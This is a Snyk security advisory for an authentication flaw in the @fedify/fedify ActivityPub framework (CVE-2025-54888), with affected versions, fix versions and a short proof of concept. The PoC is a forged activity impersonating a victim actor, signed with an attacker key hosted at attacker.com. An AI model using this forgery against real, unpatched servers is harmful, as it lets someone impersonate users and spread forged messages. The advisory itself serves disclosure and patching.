Improper Authentication Affecting @fedify/fedify package, versions <1.3.20>=1.4.0-dev.585 <1.4.13>=1.5.0-dev.636 <1.5.5>=1.6.0-dev.754 <1.6.8>=1.7.0-pr.251.885 <1.7.9>=1.8.0-dev.909 <1.8.5


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Authentication vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-FEDIFYFEDIFY-11735306
  • published10 Aug 2025
  • disclosed9 Aug 2025
  • creditFabien O'Carroll

Introduced: 9 Aug 2025

NewCVE-2025-54888  (opens in a new tab)
CWE-287  (opens in a new tab)

How to fix?

Upgrade @fedify/fedify to version 1.3.20, 1.4.13, 1.5.5, 1.6.8, 1.7.9, 1.8.5 or higher.

Overview

@fedify/fedify is an An ActivityPub server framework

Affected versions of this package are vulnerable to Improper Authentication via the handleInboxInternal function in the federation/handler.ts file. An attacker can impersonate any actor across all instances by sending forged activities signed with their own keys before verification of the signing key's ownership.

PoC

Create an activity claiming to be from any actor:

const maliciousActivity = {
    "@context": "https://www.w3.org/ns/activitystreams",
    "type": "Create",
    "actor": "https://victim.example.com/users/alice",  // Impersonating victim
    "object": {
      "type": "Note",
      "content": "This is a forged message!"
    }
  }

Sign the HTTP request with attacker's key (not the victim's):

// Sign with attacker's key: https://attacker.com/users/eve#main-key
  const signedRequest = await signRequest(request, attackerPrivateKey, attackerKeyId);

Send to any Fedify inbox - the activity will be processed despite the key mismatch.

References

CVSS Base Scores

version 4.0
version 3.1